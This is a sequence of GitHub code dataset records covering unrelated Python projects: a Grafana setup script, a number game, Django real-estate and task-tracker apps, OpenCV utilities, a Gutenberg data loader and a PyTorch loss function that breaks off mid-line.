for the instances that aren't configures as datasources\n            try:\n                datasource_details = build_datasource_details(cluster_name)\n                req_body = json.dumps(datasource_details)\n\n                # Tell Grafana to create and register a datasource for this cluster\n                headers = build_datasource_request_headers(central_grafana_cluster)\n                response = requests.post(\n                    datasource_endpoint, data=req_body, headers=headers\n                )\n                if not response.ok:\n                    print(\n                        f\"An error occured when creating the datasource. \\nError was {response.text}.\"\n                    )\n                    response.raise_for_status()\n                print_colour(\n                    f\"Successfully created a new datasource for {cluster_name}!\"\n                )\n            except Exception as e:\n                print_colour(\n                    f\"An error occured for {cluster_name}.\\nError was: {e}.\\nSkipping...\",\n                    \"yellow\",\n                )\n                exceptions += 1\n                pass\n\n    if exceptions:\n        print_colour(\n            f\"Failed to add {exceptions} clusters as datasources. See errors above!\",\n            \"red\",\n        )\n    print_colour(\n        f\"Successfully retrieved {len(datasources)} existing datasources! {datasources}\"\n    )\n","repo_name":"anayeaye/infrastructure","sub_path":"deployer/grafana/central_grafana.py","file_name":"central_grafana.py","file_ext":"py","file_size_in_byte":5649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"19"}
{"seq_id":"12417336347","text":"# The Author is Karim Ahed Tawfik Mohammad El-Habashy, 20210503\r\n# Numble Scrabble Game\r\n# Date: 27 Feb 2022\r\n# 11410120210503@stud.cu.edu.eg\r\n\r\n\r\nimport random\r\nfrom itertools import permutations\r\n\r\ndef players():\r\n    global players, player_1, player_2\r\n    players = [str(input(\"Please enter the first player's name: \")), str(input(\"Please enter the second player's name: \"))]\r\n    player_1 = random.choice(players)\r\n    if player_1 == players[0]:\r\n        player_2 = players[1]\r\n    else:\r\n        player_2 = players[0]\r\n    return player_1, player_2\r\n\r\ndef get_input():\r\n    global choice\r\n    checker = False\r\n    while checker is False:\r\n        in_put = input(\"Please choose a number available in the list above: \")\r\n        #Checks if the input integer\r\n        if in_put.isdigit():\r\n            choice = int(in_put)\r\n            has_choice = choice in num #checks if the input is available list\r\n            if has_choice is True:\r\n                checker = True\r\n            else:\r\n                print(\"The entered value is not available \")\r\n                print(f'Here are the available values {num}')\r\n        else:\r\n           print(\"The entered value in invalid. Please enter an integer\")\r\n\r\n    return choice\r\n\r\n\r\ndef check_winner(check_list):\r\n    global win\r\n    win = False\r\n    sequence = permutations(check_list, 3)\r\n    for p in list(sequence):\r\n        if p[0] + p[1] + p[2] == 15:\r\n            win = True\r\n    return win\r\n\r\n\r\ndef game():\r\n    global player_1_choices, player_2_choices, num\r\n    num = [1, 2, 3, 4, 5, 6, 7, 8, 9]\r\n    player_1_choices = []\r\n    player_2_choices = []\r\n    players()\r\n    print(f'{player_1} will have the first round')\r\n    for i in range(1, 10):\r\n        if i % 2 != 0:\r\n            print(\"It's Player 1's turn\")\r\n            print(num)\r\n            get_input()\r\n            num.remove(choice)\r\n            player_1_choices.append(choice)\r\n            if len(player_1_choices) >= 3:\r\n                check_list = player_1_choices\r\n                check_winner(check_list)\r\n                if win is True:\r\n                    print(f'Congratulations, {player_1} won this game!!!! YAAAAY!')\r\n                    quit()\r\n        else:\r\n            print(\"It's Player 2's turn\")\r\n            print(num)\r\n            get_input()\r\n            num.remove(choice)\r\n            player_2_choices.append(choice)\r\n            if len(player_2_choices) >= 3:\r\n                check_list = player_2_choices\r\n                check_winner(check_list)\r\n                if win is True:\r\n                    print(f'Congratulations, {player_2} won this game!!!! YAAAAAY!')\r\n                    quit()\r\n    print(\"Draw\")\r\n\r\n\r\ngame()","repo_name":"Karimahed/Number-Scrabble-Game","sub_path":"Number_Scrabble.py","file_name":"Number_Scrabble.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"30995315458","text":"# Django imports\nfrom django.conf import settings\nfrom django.core.exceptions import ValidationError\nfrom django.core.mail import send_mail\nfrom django.db import IntegrityError\nfrom django.db import models\nfrom django.urls import reverse\nfrom django.utils.crypto import get_random_string\nfrom django.utils.crypto import hashlib\n\n\n# App imports\nfrom realestate.apps.core.models import BaseModel\nfrom realestate.apps.core.models import Couple\nfrom realestate.apps.core.models import Homebuyer\n\n\n# Function to generate a registration token\ndef _generate_registration_token():\n    while True:\n        token = hashlib.sha256(get_random_string(length=64).encode()).hexdigest()\n        if not PendingHomebuyer.objects.filter(registration_token=token):\n            return token\n\n\n# PendingCouple model\nclass PendingCouple(BaseModel):\n    # Create a foreign key to the Realtor model\n    realtor = models.ForeignKey(\n        \"core.Realtor\", verbose_name=\"Realtor\", on_delete=models.CASCADE\n    )\n\n    # String representation\n    def __str__(self):\n        pending_homebuyers = self.pendinghomebuyer_set.all()\n\n        if pending_homebuyers:\n            return \", \".join(map(str, pending_homebuyers))\n        return \"No homebuyers specified\"\n\n    # Method to get the couple\n    @property\n    def couple(self):\n        # Get the emails of the pending homebuyers\n        emails = self.pendinghomebuyer_set.values_list(\"email\", flat=True)\n\n        # Get the homebuyers and couples\n        homebuyers = Homebuyer.objects.filter(user__email__in=emails)\n        couples = Couple.objects.filter(homebuyer__in=homebuyers)\n\n        # If the couple exists, return it\n        if couples.exists():\n            return couples.first()\n\n        # Otherwise, return None\n        return None\n\n    # Method to check if the couple is registered\n    @property\n    def registered(self):\n        # Get the pending homebuyers\n        pending_homebuyers = self.pendinghomebuyer_set.all()\n\n        # Check if the homebuyers are registered\n        return pending_homebuyers.count() == 2 and all(\n            map(lambda hb: hb.registered, pending_homebuyers)\n        )\n\n    # Meta class\n    class Meta:\n        # Set field to be used for ordering\n        ordering = [\"realtor\"]\n\n        # Set the verbose names\n        verbose_name = \"Pending Couple\"\n        verbose_name_plural = \"Pending Couples\"\n\n\n# PendingHomebuyer model\nclass PendingHomebuyer(BaseModel):\n    # Set a constant for the email invite message\n    _HOMEBUYER_INVITE_MESSAGE = \"\"\"\n        Hello {name},\n        \n        You have been invited to the Real Estate app.\n        Register at the following link:\n            {signup_link}\n    \"\"\"\n\n    # Add the fields to the model\n    email = models.EmailField(\n        unique=True,\n        verbose_name=\"Email Address\",\n        error_messages={\"unique\": (\"A user with this email already exists.\")},\n    )\n    first_name = models.CharField(max_length=30, verbose_name=\"First Name\")\n    last_name = models.CharField(max_length=30, verbose_name=\"Last Name\")\n    registration_token = models.CharField(\n        max_length=64,\n        default=_generate_registration_token,\n        editable=False,\n        unique=True,\n        verbose_name=\"Registration Token\",\n    )\n\n    # Create a foreign key to the PendingCouple model\n    pending_couple = models.ForeignKey(\n        \"pending.PendingCouple\", verbose_name=\"Pending Couple\", on_delete=models.CASCADE\n    )\n\n    # String representation\n    def __str__(self):\n        return f\"{self.email} ({self.registration_status})\"\n\n    # Method to get the signup link\n    def _signup_link(self, host):\n        url = reverse(\n            \"homebuyer-signup\", kwargs={\"registration_token\": self.registration_token}\n        )\n        return host + url\n\n    # Method to clean the model\n    def clean(self):\n        # Get the pending homebuyers\n        pending_homebuyers = set(\n            self.pending_couple.pendinghomebuyer_set.values_list(\n                \"id\", flat=True\n            ).distinct()\n        )\n\n        # Add the current pending homebuyer\n        pending_homebuyers.add(self.id)\n\n        # If the couple pending homebuyers is greater than 2\n        if len(pending_homebuyers) > 2:\n            # Raise the validation error\n            raise ValidationError(\"PendingCouple already has 2 Homebuyers.\")\n\n        # Call the parent clean method\n        return super(PendingHomebuyer, self).clean()\n\n    # Method to get the couple\n    @property\n    def couple(self):\n        return self.pending_couple.couple\n\n    # Method to get the partner\n    @property\n    def partner(self):\n        # Get the pending homebuyers\n        pending_homebuyers = self.pending_couple.pendinghomebuyer_set.exclude(\n            id=self.id\n        )\n\n        # If the pending homebuyers is greater than 1\n        if pending_homebuyers.count() > 1:\n            # Raise the integrity error\n            raise IntegrityError(\n                f\"PendingCouple has too many related PendingHomebuyer and should be resolved immediately. (PendingCouple ID: {self.pending_couple.id})\"\n            )\n\n        # Else return the first member of the pending homebuyers\n        return pending_homebuyers.first()\n\n    # Method to check if the homebuyer is registered\n    @property\n    def registered(self):\n        if Homebuyer.objects.filter(user__email=self.email).exists():\n            return True\n\n    # Method to get the registration status\n    @property\n    def registration_status(self):\n        return \"Registered\" if self.registered else \"Unregistered\"\n\n    # Method to send the email invite\n    def send_email_invite(self, request):\n        # If the homebuyer is registered, return None\n        if self.registered:\n            return None\n\n        # Get the message text\n        message = self._HOMEBUYER_INVITE_MESSAGE.format(\n            name=self.first_name, signup_link=self._signup_link(request.get_host())\n        )\n\n        # Send the email\n        return send_mail(\n            \"Real Estate Invite\",\n            message,\n            settings.EMAIL_HOST_USER,\n            [self.email],\n            fail_silently=False,\n        )\n\n    # Meta class\n    class Meta:\n        # Set the fields to be used for ordering\n        ordering = [\"email\"]\n\n        # Set the verbose names\n        verbose_name = \"Pending Homebuyer\"\n        verbose_name_plural = \"Pending Homebuyers\"\n","repo_name":"DataRohit/Django-RealEstate","sub_path":"realestate/apps/pending/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"13136889831","text":"import cv2,numpy as np\nfrom helpers import *\n\ndef cloning(img1Warped, target_frame, hull_target):\n\n    # Calculate Mask\n    hull_target = np.squeeze(cv2.convexHull(np.array(hull_target).astype(np.int32), returnPoints=True))\n    hull_target_tuple = listOfListToTuples(hull_target)\n\n    mask = np.zeros(target_frame.shape, dtype=target_frame.dtype)\n\n    cv2.fillConvexPoly(mask, np.int32(hull_target_tuple), (255, 255, 255))\n    r = cv2.boundingRect(np.float32([hull_target]))\n\n    center = ((r[0] + int(r[2] / 2), r[1] + int(r[3] / 2)))\n\n    # Clone seamlessly.\n    output = cv2.seamlessClone(np.uint8(img1Warped), target_frame, mask, center, cv2.NORMAL_CLONE)\n\n    return output","repo_name":"Abhijeet94/face_swapping","sub_path":"cloning.py","file_name":"cloning.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"72461851242","text":"'''\n최대공약수와 최소공배수\n두 자연수 입력받아 최대 공약수와 최소 공배수 출력\n두 수의 최대공약수, 최소공배수 출력\n'''\na, b = map(int, input().split())\nif a < b: a, b = b, a\nG = 1\ndef gcd(a, b):\n    while b:\n        a, b = b, a % b\n    return a\n\ndef lcm(a, b):\n    return a* b // G\n\nG = gcd(a, b)\nprint(G)\nprint(lcm(a, b))","repo_name":"jinyoung7165/2023Sane","sub_path":"BOJ/ROADMAP/BASE/2609.py","file_name":"2609.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"42120372669","text":"import re\nfrom io import StringIO\n\n\ndef serialize(elem, **options):\n    with StringIO() as buffer:\n        elem.write(buffer.write, **options)\n        return buffer.getvalue()\n\n\n# use non-greedy match for \"...\" part!\nXMLNS_RE = re.compile(r'\\s+xmlns(:\\S+)?=\"[^\"]+?\"')\nXMLNS_RE2 = re.compile(r'(\\s+xmlns(:\\w+)?=\"[^\"]+?\"|xmlns\\(\\w+=[^)]+?\\)\\s+)')\nXMLNS_RE3 = re.compile(r'\\s+xmlns=\"[^\"]+?\"')\n\nTAGSTART_RE = re.compile(r'^(<[a-z:]+)')\n","repo_name":"moinwiki/moin","sub_path":"src/moin/converters/_tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":262,"dataset":"github-code","pt":"19"}
{"seq_id":"24993648392","text":"from os import listdir\nfrom os.path import isfile, join\nimport sys\nimport json\nfrom re import findall,UNICODE\nfrom django.utils.encoding import smart_text,smart_bytes\n\n# import os\n# sys.path.append('/Users/andyreagan/projects/2014/09-books/database')\n# os.environ.setdefault('DJANGO_SETTINGS_MODULE','gutenbergdb.settings')\n# import django\n# django.setup()\n\nimport sys, os\nsys.path.append('/home/prod/app')\nos.environ['DJANGO_SETTINGS_MODULE'] = 'mysite.settings'\nfrom django.conf import settings\n\nfrom hedonometer.models import GutenbergAuthor,GutenbergBook\n\n# # first, go extract all of the authors, with the PK\n# all_authors = Author.objects.all()\n# for a in all_authors[:10]:\n#     print((a.pk, a.fullname, a.note, a.gutenberg_id))\n# all_author_json = [{\"pk\": a.pk, \"fullname\": a.fullname, \"note\": a.note, \"gutenberg_id\": a.gutenberg_id} for a in all_authors]\nf = open(\"all_author_info.json\",\"r\")\nall_authors = json.loads(f.read())\nf.close()\n\nall_author_ids = dict()\nfor a in all_authors:\n    if a[\"pk\"] in all_author_ids:\n        if all_author_ids[a[\"pk\"]] != a[\"gutenberg_id\"]:\n            print(\"weird\")\n    else:\n        all_author_ids[a[\"pk\"]] = a[\"gutenberg_id\"]\n\n# print(\"ripping through the authors\")\n\n# for a in all_authors:\n#     # print((a[\"pk\"], a[\"fullname\"], a[\"note\"], a[\"gutenberg_id\"],))\n\n#     if len(GutenbergAuthor.objects.filter(gutenberg_id=a[\"gutenberg_id\"])) == 0:\n#         if len(a[\"fullname\"]) > 90:\n#             a[\"fullname\"] = a[\"fullname\"][:90]\n#         a_o = GutenbergAuthor(fullname=a[\"fullname\"].encode(\"unicode_escape\"),\n#                               note=a[\"note\"],\n#                               gutenberg_id=a[\"gutenberg_id\"])\n#         a_o.save()\n    \n#         # if a_o.pk != a[\"pk\"]:\n#         #     print(a_o.pk,a[\"pk\"])\n\n# print\"done\")\n\n# # first, go extract all of the authors, with the PK\n# all_books = Book.objects.all()\n# for b in all_books[:10]:\n#     print((b.pk, b.title,))\n\n# all_book_json = [{\"title\": b.title,\n#                   \"authors\": [a.pk for a in b.authors.all()],\n#                   \"language\": b.language,\n#                   \"lang_code_id\": b.lang_code_id,\n#                   \"downloads\": b.downloads,\n#                   \"gutenberg_id\": b.gutenberg_id,\n#                   \"mobi_file_path\": b.mobi_file_path,\n#                   \"epub_file_path\": b.epub_file_path,\n#                   \"txt_file_path\": b.txt_file_path,\n#                   \"expanded_folder_path\": b.expanded_folder_path,\n#                   \"length\": b.length,\n#                   \"numUniqWords\": b.numUniqWords,\n#                   \"ignorewords\": b.ignorewords,\n#                   \"exclude\": b.exclude,\n#                   \"excludeReason\": b.excludeReason,}\n#                  for b in all_books]\n\nf = open(\"all_book_info.json\",\"r\")\nall_book_json = json.loads(f.read())\nf.close()\n\n    # title = \n    # pickle_object = \n    # authors = \n    # language = \n    # lang_code_id = \n    # downloads = \n    # gutenberg_id = \n    # mobi_file_path = \n    # epub_file_path = \n    # txt_file_path = \n    # expanded_folder_path = \n    # length = \n    # numUniqWords = \n    # ignorewords = \n    # wiki = \n    # scaling_exponent = \n    # scaling_exponent_top100 = \n    # exclude = \n    # excludeReason =\n\n# the unicode escape makes some titles too long\n# so just ignore the truncation warning...\nfrom warnings import filterwarnings\nimport MySQLdb as Database\nfilterwarnings('ignore', category = Database.Warning)    \n\nfor b in all_book_json:\n    print(b[\"gutenberg_id\"])\n    if len(b[\"title\"]) > 100:\n        b[\"title\"] = b[\"title\"][:100]\n    gb = GutenbergBook(title=b[\"title\"].encode(\"unicode_escape\"),\n                       language=b[\"language\"],\n                       lang_code_id=b[\"lang_code_id\"],\n                       downloads=b[\"downloads\"],\n                       gutenberg_id=b[\"gutenberg_id\"],\n                       mobi_file_path=b[\"mobi_file_path\"],\n                       epub_file_path=b[\"epub_file_path\"],\n                       txt_file_path=b[\"txt_file_path\"],\n                       expanded_folder_path=b[\"expanded_folder_path\"],\n                       length=b[\"length\"],\n                       numUniqWords=b[\"numUniqWords\"],\n                       ignorewords=b[\"ignorewords\"],\n                       exclude=b[\"exclude\"],\n                       excludeReason=b[\"excludeReason\"],)\n    gb.save()\n    for apk in b[\"authors\"]:\n        gid = all_author_ids[apk]\n        # print(gid)\n        a = GutenbergAuthor.objects.get(gutenberg_id=gid)\n        # print(a)\n        gb.authors.add(a)\n        gb.save()\n","repo_name":"andyreagan/hedonometer","sub_path":"scripts/load_gutenberg.py","file_name":"load_gutenberg.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"19"}
{"seq_id":"19048917940","text":"import numpy as np\nimport cv2\ncanvas=np.ones([500,500,3],'uint8')*255\nradius=3\ncolor=(0,255,0)\npressed=False\n\n\n#click callback\ndef click(event,x,y,flags,param):\n    global canvas\n    global pressed\n    if event ==cv2.EVENT_LBUTTONDOWN:\n        pressed=True\n        cv2.circle(canvas,(x,y),radius,color,-1)\n    elif event==cv2.EVENT_MOUSEMOVE and pressed==True:\n        cv2.circle(canvas,(x,y),radius,color,-1)\n    elif event==cv2.EVENT_LBUTTONUP:\n        pressed=False\n\n#window initalization and callback assignment\ncv2.namedWindow(\"canvas\")\ncv2.setMouseCallback(\"canvas\",click)\n#forever draw loop\nwhile True:\n    cv2.imshow(\"canvas\",canvas)\n\n    #key capture every 1ms\n    ch=cv2.waitKey(1)\n    if ch==ord(\"q\"):\n        break\n    elif ch==ord(\"b\"):\n        color=(255,0,0)\n\n    elif ch==ord(\"g\"):\n        color=(0,255,0)\n    elif ch==ord(\"c\"):\n        canvas=np.ones([500,500,3],'uint8')*255\n\n\ncv2.destroyAllWindows()","repo_name":"mahima-c/opencv","sub_path":"all cv/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"40024989177","text":"from django.shortcuts import render, redirect\nfrom .models import Task1, person, status, branch, Avatar, team, team_person\nfrom .forms import Task1Form, HumanForm, AvatarForm, Team_Person_Form\nfrom django.db.models import Q\nimport datetime\nimport os\nfrom django.http import HttpResponseRedirect, HttpResponseNotFound\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\n\ndef index(request):\n    return render(request, 'main/index.html')\n\n\ndef about(request):\n    return render(request, 'main/about.html')\n\ndef createhuman(request):\n    #print(Human.objects.get(id_registarion=request.user.id))\n\n    error = ''\n    Branch = branch.objects.all()\n\n    person.objects.filter(id_registarion=request.user.id).delete()\n    if not (str(request.user) == 'AnonymousUser'):\n        teams = team.objects.all()\n        if request.method == 'POST':\n            form = HumanForm(request.POST, request.FILES)\n            if form.is_valid():\n                post = form.save(commit=False)\n                post.id_branch = branch.objects.get(name = request.POST.get(\"id_branch\"))\n                post.id_registarion = request.user.id\n                post.save()\n\n\n                return redirect('/create_person_team')\n            else:\n                error = 'Форма неверная'\n\n        form = HumanForm()\n        context = {\n            'form': form,\n            'error': error,\n            'Branch': Branch,\n            'teams':teams,\n        }\n        return render(request, 'main/createhuman.html', context)\n\n\ndef tasks(request, order_like='title'):\n    if request.user.is_authenticated:\n        search_query = request.GET.get('search', '')\n        order_like = request.GET.get('order_like', '')\n\n        try:\n            if search_query:\n                task_list = Task1.objects.filter(Q(title__icontains = search_query) | Q(description__icontains = search_query)\n                                                | Q(id_performing_person__icontains = search_query))\n            else:\n                task_list = Task1.objects.all()\n        except ValueError:\n            task_list = []\n\n        if order_like:\n            task_list = task_list.order_by(order_like)\n\n        if not(str(request.user) == \"AnonymousUser\"):\n            if str(person.objects.filter(id_registarion=request.user.id)) == \"<QuerySet []>\":\n                return redirect('createhuman')\n\n        self_person = person.objects.get(id_registarion=request.user.id) # это мы в таблице людей\n        our_team_persons = team_person.objects.get(id_person = self_person) # мы в таблице люди_команды\n        #print(\"Наша команда - \", our_team_persons.id_team)\n\n        list_to_view = []\n        for el in task_list:\n            self_team_person = team_person.objects.get(id_person = el.id_person)\n            #print(\"команда Таска - \", self_team_person.id_team)\n            if our_team_persons.id_team == self_team_person.id_team:\n                list_to_view.append(el.id)\n\n\n\n        Status_good = status.objects.get(id=3)\n        Status_norm = status.objects.get(id=2)\n        paginator = Paginator(task_list, 20)\n\n        page = request.GET.get('page')\n        try:\n            tasks = paginator.page(page)\n        except PageNotAnInteger:\n            tasks = paginator.page(1)\n        except EmptyPage:\n            tasks = paginator.page(paginator.num_pages)\n\n        user_info = str(request.user)\n        return render(request, 'main/tasks.html', {'title': 'Задачи', 'tasks': tasks, 'user_info':user_info, 'Status_good':Status_good, 'Status_norm':Status_norm, 'list_to_view':list_to_view})\n    else:\n        return redirect('http://127.0.0.1:8000/accounts/login/')\n\n\ndef createtask(request):\n    Status = status.objects.all()\n    humans = person.objects.all()\n    humas_auth_bool = False\n    if not (str(request.user) == \"AnonymousUser\"):\n        for human in humans:\n            if (str(human.id_registarion) == str(request.user.id)):\n                humas_auth_bool = True\n                break\n        if humas_auth_bool == False:\n            return redirect('createhuman')\n    if not(str(request.user) == 'AnonymousUser'):\n        error = ''\n        if request.method == 'POST':\n            form = Task1Form(request.POST)\n            if form.is_valid():\n                post = form.save(commit=False)\n                post.id_person = person.objects.get(id_registarion=request.user.id)\n                #post.id_person = request.user\n                #date_now = str(datetime.datetime.now())\n                #post.date = date_now[0:10]\n                post.id_performing_person = \"-\"\n                post.id_status = Status[0]\n                post.save()\n                return redirect('tasks')\n            else:\n                error = 'Форма неверная'\n\n        form = Task1Form()\n        context = {\n            'form': form,\n            'error': error,\n            'Status': Status,\n        }\n        return render(request, 'main/createtask.html', context)\n    else:\n        return redirect('accounts/login/')\n\n\ndef id_up_status(request, todo_id, cancel = False):\n    if not (str(request.user) == 'AnonymousUser'):\n        humans = person.objects.all()\n        Status = status.objects.all()\n\n        humas_auth_bool = False\n        for human in humans:\n            if (str(human.id_registarion) == str(request.user.id)):\n                humas_auth_bool = True\n                break\n        if humas_auth_bool == False:\n            return redirect('createhuman')\n\n        todo = Task1.objects.get(pk=todo_id)\n        if (str(todo.id_performing_person) == str(request.user)) or (str(todo.id_status) == str(Status[0])):\n            user_name = request.user\n            el_index = 0\n            for el in Status:\n                if str(todo.id_status) == str(el):\n                    break\n                el_index += 1\n            todo.id_status = Status[el_index+1]\n            todo.id_performing_person = str(user_name)\n            todo.save()\n    else:\n        return redirect('http://127.0.0.1:8000/accounts/login/')\n\n    return redirect('tasks')\n\n\ndef id_down_status(request, todo_id):\n    if not (str(request.user) == 'AnonymousUser'):\n        humans = person.objects.all()\n        Status = status.objects.all()\n\n        humas_auth_bool = False\n        for human in humans:\n            if (str(human.id_registarion) == str(request.user.id)):\n                humas_auth_bool = True\n                break\n        if humas_auth_bool == False:\n            return redirect('createhuman')\n\n        todo = Task1.objects.get(pk=todo_id)\n        if str(todo.id_performing_person) == str(request.user):\n            user_name = request.user\n            el_index = 0\n            for el in Status:\n                if str(todo.id_status) == str(el):\n                    break\n                el_index += 1\n            todo.id_status = Status[el_index-1]\n            if str(todo.id_status) == str(Status[0]):\n                todo.id_performing_person = '-'\n            else:\n                todo.id_performing_person = str(user_name)\n            todo.save()\n    else:\n        return redirect('http://127.0.0.1:8000/accounts/login/')\n\n    return redirect('tasks')\n\n\ndef profile(request):\n    try:\n        Status_good = status.objects.get(id=3)\n        Status_norm = status.objects.get(id=2)\n        tasks = Task1.objects.all()\n        self_human = person.objects.get(id_registarion = request.user.id)\n        user_info = str(request.user)\n\n        self_person = person.objects.get(id_registarion=request.user.id)  # это мы в таблице людей\n        team_persons = team_person.objects.get(id_person=self_person)  # мы в таблице люди_команды\n        self_team = team_persons.id_team\n\n        return render(request, 'main/profile.html', {'title': 'Профиль', 'tasks':tasks, 'self_human': self_human, 'user_info':user_info,  'Status_good':Status_good, 'Status_norm':Status_norm, 'self_team':self_team})\n    except ValueError:\n        return redirect('createhuman')\n    except UnboundLocalError:\n        return redirect('createhuman')\n\n\ndef delete_task(request, id):\n    task = Task1.objects.get(pk=id)\n    task.delete()\n    return redirect('tasks')\n\n\ndef edit(request, id):\n    try:\n        todo = Task1.objects.get(id=id)\n        if request.method == \"POST\":\n            todo.title = request.POST.get(\"title\")\n            todo.description = request.POST.get(\"description\")\n            todo.save()\n            return HttpResponseRedirect(\"/tasks\")\n        else:\n            return render(request, \"main/edit.html\", {'title': 'Профиль', \"todo\": todo})\n    except todo.DoesNotExist:\n        return HttpResponseNotFound(\"<h2>Todo not found</h2>\")\n\n\ndef edit_avatar(request):\n    error = ''\n    human_temp = person.objects.get(id_registarion=request.user.id)\n    if request.method == 'POST':\n        form = AvatarForm(request.POST, request.FILES)\n        if form.is_valid():\n            human = form.save(commit=False)\n            human_temp.avatar = human.avatar\n            human_temp.save()\n            return redirect('profile')\n        else:\n            error = 'Форма неверная'\n\n    form = HumanForm()\n    context = {\n        'form': form,\n        'error': error,\n    }\n    return render(request, 'main/edit_avatar.html', context)\n\n\ndef edit_data(request):\n    try:\n        Branch = branch.objects.all()\n        human = person.objects.get(id_registarion=request.user.id)\n        if request.method == \"POST\":\n            human.first_name = request.POST.get(\"first_name\")\n            human.second_name = request.POST.get(\"second_name\")\n            self_branch = request.POST.get(\"id_branch\")\n            human.id_branch = branch.objects.get(name = self_branch)\n            print(human.id_branch)\n            human.save()\n            return HttpResponseRedirect(\"/profile\")\n        else:\n            return render(request, \"main/edit_data.html\", {'title': 'Редактирование профиля', \"human\": human, 'Branch': Branch})\n    except human.DoesNotExist:\n        return HttpResponseNotFound(\"<h2>Human not found</h2>\")\n\ndef create_person_team(request):\n    error = ''\n\n    if not (str(request.user) == 'AnonymousUser'):\n        teams = team.objects.all()\n        #print(teams)\n        if request.method == 'POST':\n\n            form = Team_Person_Form()\n            post = form.save(commit=False)\n            post.id_team = team.objects.get(name=request.POST.get(\"id_team\"))\n            post.id_person = person.objects.get(id_registarion=request.user.id)\n            print(post)\n            post.save()\n\n\n            return redirect('tasks')\n\n        context = {\n            'teams': teams,\n        }\n        return render(request, 'main/create_person_team.html', context)","repo_name":"Ivanov-Vladislav/DataBase","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"43940273513","text":"import re\n\n# open the HTML file for reading\nwith open(\"index.html\", \"r\") as file:\n    html = file.read()\n\n# use regex to find and remove all occurrences of {{ }}\nhtml = re.sub(r\"\\{\\{.*?\\}\\}\", \"\", html)\n\n# save the modified HTML to a new file\nwith open(\"modified_file.html\", \"w\") as file:\n    file.write(html)\n","repo_name":"Sanchay-T/MME","sub_path":"script1.py","file_name":"script1.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"}
{"seq_id":"25793729882","text":"#!/usr/bin/env python\r\n# -*- coding:utf-8 -*-\r\n\r\nimport os\r\nimport subprocess\r\n\r\n\r\ndef killflower():\r\n    p = subprocess.Popen([\"ps\", \"aux\"], stdout=subprocess.PIPE)\r\n    p = p.communicate()[0]\r\n    p = p.decode('utf8').split('\\n')\r\n    flower = ''\r\n    for i in p:\r\n        if 'celery -A hawk flower' in i:\r\n            flower = i.split()[1]\r\n            break\r\n    if len(flower):\r\n        os.system(\"kill -9 \" + flower)\r\n\r\nif __name__ == '__main__':\r\n    killflower()\r\n","repo_name":"sea0breeze/cernet-hawk","sub_path":"cli/killflower.py","file_name":"killflower.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"}
{"seq_id":"74090669162","text":"# -*- coding: utf-8 -*\nimport numpy as np\n\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\n\nfrom ...module_base import ModuleBase\nfrom ..loss_base import TRACK_LOSSES\nfrom .utils import SafeLog\n\neps = np.finfo(np.float32).tiny\n\n\n@TRACK_LOSSES.register\nclass SigmoidCrossEntropyCenterness(ModuleBase):\n\n    default_hyper_params = dict(\n        name=\"centerness\",\n        background=0,\n        ignore_label=-1,\n        weight=1.0,\n    )\n\n    def __init__(self, background=0, ignore_label=-1):\n        super(SigmoidCrossEntropyCenterness, self).__init__()\n        self.safelog = SafeLog()\n        self.register_buffer(\"t_one\", torch.tensor(1., requires_grad=False))\n\n    def update_params(self, ):\n        self.background = self._hyper_params[\"background\"]\n        self.ignore_label = self._hyper_params[\"ignore_label\"]\n        self.weight = self._hyper_params[\"weight\"]\n\n    def forward(self, pred_data, target_data):\n        r\"\"\"\n        Center-ness loss\n        Computation technique originated from this implementation:\n            https://www.tensorflow.org/api_docs/python/tf/nn/sigmoid_cross_entropy_with_logits\n\n        Arguments\n        ---------\n        pred: torch.Tensor\n            center-ness logits (BEFORE Sigmoid)\n            format: (B, HW)\n        label: torch.Tensor\n            training label\n            format: (B, HW)\n\n        Returns\n        -------\n        torch.Tensor\n            scalar loss\n            format: (,)\n        \"\"\"\n        pred = pred_data[\"ctr_pred\"]\n        label = target_data[\"ctr_gt\"]\n        mask = (~(label == self.background)).type(torch.Tensor).to(pred.device)\n        not_neg_mask = (pred >= 0).type(torch.Tensor).to(pred.device)\n        loss = (pred * not_neg_mask - pred * label +\n                self.safelog(1. + torch.exp(-torch.abs(pred)))) * mask\n        loss_residual = (-label * self.safelog(label) -\n                         (1 - label) * self.safelog(1 - label)\n                         ) * mask  # suppress loss residual (original vers.)\n        loss = loss - loss_residual.detach()\n\n        loss = loss.sum() / torch.max(mask.sum(),\n                                      self.t_one) * self._hyper_params[\"weight\"]\n        extra = dict()\n\n        return loss, extra\n\n\nif __name__ == '__main__':\n    B = 16\n    HW = 17 * 17\n    pred_cls = pred_ctr = torch.tensor(\n        np.random.rand(B, HW, 1).astype(np.float32))\n    pred_reg = torch.tensor(np.random.rand(B, HW, 4).astype(np.float32))\n\n    gt_cls = torch.tensor(np.random.randint(2, size=(B, HW, 1)),\n                          dtype=torch.int8)\n    gt_ctr = torch.tensor(np.random.rand(B, HW, 1).astype(np.float32))\n    gt_reg = torch.tensor(np.random.rand(B, HW, 4).astype(np.float32))\n\n    criterion_cls = SigmoidCrossEntropyRetina()\n    loss_cls = criterion_cls(pred_cls, 